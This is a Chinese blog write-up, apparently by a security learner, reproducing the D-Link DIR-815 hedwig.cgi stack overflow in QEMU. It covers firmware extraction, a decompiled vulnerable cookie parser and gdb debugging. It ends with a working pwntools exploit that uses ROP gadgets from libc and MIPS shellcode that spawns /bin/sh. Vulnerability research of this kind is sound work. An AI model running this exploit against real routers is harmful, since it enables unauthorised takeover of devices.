D-Link-DIR-815栈溢出漏洞复现
发表于:2023-04-13 |
字数统计: 2.8k | 阅读时长: 13分钟 | 阅读量:

环境搭建

binwalk安装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
sudo git clone https://github.com/devttys0/binwalk.git 
cd binwalk
sudo python3 setup.py install
# Install standard extraction utilities(必选)
sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools
# Install sasquatch to extract non-standard SquashFS images(必选)
sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
sudo git clone https://github.com/devttys0/sasquatch
(cd sasquatch && sudo CFLAGS=-fcommon ./build.sh)
# Install jefferson to extract JFFS2 file systems(可选)
sudo pip install cstruct
git clone https://github.com/sviehb/jefferson
(cd jefferson && sudo python setup.py install)

# Install ubi_reader to extract UBIFS file systems(可选)
#sudo apt-get install liblzo2-dev python-lzo
#git clone https://github.com/jrspruitt/ubi_reader
#(cd ubi_reader && sudo python setup.py install)
//安装依赖
$ sudo apt-get install liblzo2-dev
$ sudo pip install python-lzo
//安装ubi_reader
$ sudo pip install ubi_reader

# Install yaffshiv to extract YAFFS file systems(可选)
git clone https://github.com/devttys0/yaffshiv
(cd yaffshiv && sudo python setup.py install)

# Install unstuff (closed source) to extract StuffIt archive files(可选)

wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv
sudo cp bin/unstuff /usr/local/bin/

在安装cramfsprogs时发生错误

image-20230413220646210

原因是这个包在Ubuntu18时就被删除了,所以得手动安装,[下载]( 1.1-6build4 : cramfsprogs : amd64 : Xenial (16.04) : Ubuntu (launchpad.net) )

sudo dpkg -i cramfsprogs_1.1-6build4_amd64.deb

在编译sasquatch时出现

image-20230414145235018

使用如下命令解决

1
2
sudo wget https://github.com/devttys0/sasquatch/pull/51.patch && sudo patch -p1 <51.patch
sudo ./build.sh

安装gdb-multiarch

sudo apt-get install gdb-multiarch

漏洞分析

从D-Link官方网站下载固件,或ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.zip,解压缩得到固件DIR-815 FW 1.01b14_1.01b14.bin

1
binwalk -e DIR-815 FW 1.01b14_1.01b14.bin

image-20230419202537788

已知漏洞在/htdocs/web/hedwig.cgi中,可以看见新版本的binwalk会将软链接指向null,实际是链接到/htdocs/cgibin上,也就是说漏洞存在于cgibin中

image-20230419203431250

如果想不改符号链接的话考虑低版本的binwalk

将cgibin放入ida中分析,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
int __fastcall sess_get_uid(_DWORD *a1)
{
_DWORD *v2; // $s2
char *cookie_path; // $v0
_DWORD *v4; // $s3
char *v5; // $s4
int v6; // $s1
int v7; // $s0
char *string; // $v0
int result; // $v0

v2 = sobj_new(); // 建堆存字符串
v4 = sobj_new();
cookie_path = getenv("HTTP_COOKIE"); // 获得cookie环境变量
if ( !v2 )
goto LABEL_27;
if ( !v4 )
goto LABEL_27;
v5 = cookie_path;
if ( !cookie_path )
goto LABEL_27;
v6 = 0;
while ( 1 )
{
v7 = *v5; // 变量第一个字符
if ( !*v5 )
break;
if ( v6 == 1 )
goto LABEL_11;
if ( v6 < 2 )
{
if ( v7 == ' ' ) // 遇到空格跳过
goto LABEL_18;
sobj_free(v2);
sobj_free(v4);
LABEL_11:
if ( v7 == ';' )
{
v6 = 0;
}
else
{
v6 = 2;
if ( v7 != '=' )
{
sobj_add_char(v2, v7); // 不是‘ ’不是‘;’不是‘=’将cookie_path复制到v2中,直到遇到这三个字符中的一个为止
v6 = 1;
}
}
goto LABEL_18;
}
if ( v6 == 2 )
{
if ( v7 == ';' )
{
v6 = 3;
goto LABEL_18;
}
sobj_add_char(v4, *v5++); // 将=后赋值给v4,没考虑赋值长度
}
else
{
v6 = 0;
if ( !sobj_strcmp((int)v2, "uid") )
goto LABEL_21;
LABEL_18:
++v5;
}
}
if ( !sobj_strcmp((int)v2, "uid") )
{
LABEL_21:
string = sobj_get_string((int)v4);
goto LABEL_22;
}
LABEL_27:
string = getenv("REMOTE_ADDR");
LABEL_22:
result = sobj_add_string(a1, string); // 对v8的长度没有进行判断
if ( v2 )
result = sobj_del(v2);
if ( v4 )
return sobj_del(v4);
return result;
}

编写POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/bash
# sudo ./run.sh 'uid=1234' `cyclic 2000`
INPUT="$1"
TEST="uid="+"$2"

LEN=$(echo -n $INPUT | wc -c)#wc -c 统计字数
PORT="1234"
#echo "$UID"
if [ "$LEN" = "0" ] || [ "$INPUT" = "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nusage: sudo $0\n"
echo `whoami`
exit 1
fi
cp $(which qemu-mipsel-static) ./qemu

#echo "$(pwd)"
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH="$LEN" -E CONTENT_TYPE="application/x-www-form-urlencodede" -E SCRIPT_NAME="common" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$TEST -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT htdocs/web/hedwig.cgi 2>/dev/null #路径需要根据自己虚拟机环境编写

echo "run ok"
rm -f ./qemu

注意事项:

  • 一定要加#!/bin/bash,以确定是用bash执行的。我虚拟机命令行用的是dash不是bash,这俩在编写脚本时有一定的差别。

  • run.sh脚本应放在$PATH/squashfs-root/下。

  • 由于是qemu的参数,因此在编写启动命令时要注意时hedwig.cgi,不能是cgibin,若使用的是新版的binwalk,则需要让hedwig.cgi指向cgibin,否则调试时加载不了共享库。

    image-20230421200216990

使用如下命令进行调试:

1
2
3
gdb-multiarch htdocs/web/hedwig.cgi#直接安装gdb-multiarch
set architecture mips
target remote localhost:1234

在函数返回时,程序报错,可见我们的垃圾数据已覆盖了返回地址

image-20230423200335501

根据《揭秘家用路由器0day漏洞挖掘技术》一书中,认为程序中有两处sprintf,因此还不能确定是哪一处sprintf造成的溢出,根据这次溢出,产生的结果如下图所示,可以发现程序返回了一些信息。

image-20230423200720789

根据这个信息,我们发现该文件**/var/tmp/temp.xml**的存在决定着是哪个sprintf最终造成了溢出。

image-20230423201656624

因此在本地(在squashfs-root目录下)创建该文件,再次调试,发现返回地址依然被垃圾数据覆盖,不同的是这次程序没有返回任何信息。根据书上利用真实环境测得,其路由器是存在**/var/tmp/temp.xml**文件的,因此实际是由第二个sprintf函数触发的溢出。

漏洞利用

现在我们先确定缓冲区的大小,$a0~$a3是函数的四个参数,因此我们只需要查看寄存器a0中的地址即可,即0x42e008,但经过调试发现0x42e008处并没有找到我们构造的垃圾数据,但发现下一行汇编代码move $a0,$s0更新了寄存器a0,因此猜测更新后的$a0才是正确的地址。因笔者刚入门(还不一定)暂时还不太清楚原因,等后续多积累点经验再来解决

image-20230423215615857

查看0x407ff088,确实找到了我们的垃圾数据

image-20230423220323449

有了起始地址,再根据mips的函数调用规则,**若子函数如果为非叶子函数,则子函数的返回地址会先存入栈内 **,因此,在函数返回时一定会再次读取$ra的值,如下图

image-20230423221145622

可以发现返回地址保存在$sp+0x4e4处即0x407fefc8+0x4e4=0x407ff4ac处,即可确定出缓冲区大小,注意需要去除“/htdocs/webinc/fatlady.php\nprefix=/runtime/session/+”这些数据的长度。计算得1012。

注:这里的大小会根据环境变化而变化,这里仅适用于在该目录下,当不使用chroot时,其大小会发生变化,因此为方便快速计算,可使用cyclic -l 计算

确定了输入数据的大小后,即可开始构造ROP利用ida插件mipsrop,书上的这个插件的链接太老了,于是找了好哥哥darry师傅帮忙,把这个插件弄到手了,但一直报错。

image-20230424203218805

网上找到解决办法是输入如下代码,即可解决。

1
2
import mipsrop
mipsrop = mipsrop.MIPSROPFinder()

image-20230424205824606

已知我们可以控制$ra,$fp,$s0~$s7,现在我们只需要将$ra的地址覆盖为system地址,将$a0覆盖为/bin/sh的地址即可。利用mipsrop插件寻找赋值$a0寄存器的gadget,从libc.so.0中搜索。

image-20230424214854532

这里也有一个疑问,使用ldd查看cgibin文件时说该文件并不是一个动态可执行文件,实际上它确实使用了共享库,笔者猜测该文件调用的共享库并不是从本机的/lib/中调用的因此可能ldd没有检测到。

image-20230424211649676

找到了gadget,但是在libc中因此需要确定libc的基地址,vmmap查看libc基地址,没有发现libc.so.0,笔者本以为是因为启动命令qemu-mipsel-static的原因,于是准备使用qemu-mipsel命令再试一次。

image-20230424215348188

但发现在ubuntu22上并没有命令qemu-mipsel,上网搜资料搜了挺多也没有搜到原因,怀疑是没有下载完整,于是尝试又下了几个关于qemu的包,无果。最后询问了gpt才有了解决办法,如下:

1
2
sudo apt install qemu-user-static
sudo update-binfmts --enable qemu-mipsel

使用了qemu-mipsel后发现也没用,再次去请教darry👴,知道了qemu中使用vmmap是看不到libc_base的,因此需要需要去获得libc中函数的真实地址,再根据偏移去计算libc_base,利用延迟绑定机制,找到函数真实地址,如下图

image-20230425174643082

再根据vmmap找到libc_base,即libc_base=0x3ff38000

image-20230425174836169

得到libc_base后就可以利用rop拿shell了,rop写在了下面的exp中。

但在执行exp的时候发现打不通,发现卡在了这句汇编代码上,查找资料后发现是因为system函数调用了fork()而用户模式下是不支持多线程的因此打不通。

image-20230425193459432

因此笔者这里换了一种方法,因为没有开NX保护,因此栈是可执行的,将shellcode直接插入栈中,利用gadget将$sp的值传入$s0中再跳转即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context.log_level='debug'
context.arch='mips'
libc=ELF('./lib/libc.so.0')
'''
.text:000186B8 21 20 20 02 move $a0, $s1
.text:000186BC 21 C8 40 02 move $t9, $s2
.text:000186C0 09 F8 20 03 jalr $t9
'''
'''
.text:0002D194 01 00 10 26 addiu $s0, 1
.text:0002D194
.text:0002D198
.text:0002D198 loc_2D198:
.text:0002D198 21 C8 A0 02 move $t9, $s5
.text:0002D19C 09 F8 20 03 jalr $t9
'''
'''
.text:000159D8 21 C8 00 02 move $t9, $s0
.text:000159DC 09 F8 20 03 jalr $t9 ; mempcpy
'''
#shellcode=b'\xff\xff\x10\x04\xab\x0f\x02\x24\x55\xf0\x46\x20\x66\x06\xff\x23\xc2\xf9\xec\x23\x66\x06\xbd\x23\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf\x9a\xf9\xbd\x23\x21\x20\x80\x01\x21\x28\xa0\x03\xcc\xcd\x44\x03bin/sh'

#shellcode=b"\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"
shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')
libc_base=0x3ff38000
len1=10
#payload=b'uid=1234'+b'a'*(1039-0x24)+p32(libc_base+libc.symbols['system']-1)+p32(libc_base+next(libc.search(b"/bin/sh")))+p32(libc_base+0x159d8)+b'aaaa'+b'aaaa'+p32(libc_base+0x186b8)+b'aaaaaaaaaaaa'+p32(libc_base+0x2d194)


'''
.text:000159D8 21 C8 00 02 move $t9, $s0
.text:000159DC 09 F8 20 03 jalr $t9 ; mempcpy
'''
'''
.text:00047D5C 20 00 B0 27 addiu $s0, $sp, 0x100+var_E0
.text:00047D60 00 00 64 8E lw $a0, 0($s3)
.text:00047D64 21 28 20 02 move $a1, $s1
.text:00047D68 21 30 E0 02 move $a2, $s7
.text:00047D6C 21 C8 80 02 move $t9, $s4
.text:00047D70 09 F8 20 03 jalr $t9
'''

payload=b'uid=1234'+b'a'*(63-8)+b'a'*len(shellcode)+b'a'*(1039-0x24-len(shellcode)-63+8)+p32(0x10101010)+b'aaaa'*2+p32(libc_base+0x159d8)*3+p32(libc_base+0x159d8)+b'aaaa'+p32(libc_base+0x42120)+p32(libc_base+0x47d5c)
payload.ljust(0x437,b'a')
payload+=b'a'*0x20+shellcode
io=process(argv=['./qemu-mipsel-static','-g','1234','-L','./','-E','CONTENT_LENGTH={}'.format(len1),'-E','CONTENT_TYPE=application/x-www-form-urlencodede','-E','SCRIPT_NAME=common','-E','REQUEST_METHOD=POST','-E', 'HTTP_COOKIE='+payload.decode("unicode-escape"),'-E', 'REQUEST_URI=/hedwig.cgi','-E','REMOTE_ADDR=192.168.1.1','htdocs/web/hedwig.cgi'])

#pause()
io.interactive()

注:这里在调试的时候需要将共享库放到/lib目录下

参考

[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

《揭秘家用路由器0day漏洞挖掘技术》

上一篇:
D-Link-DIR-645溢出漏洞复现
下一篇:
kernel初探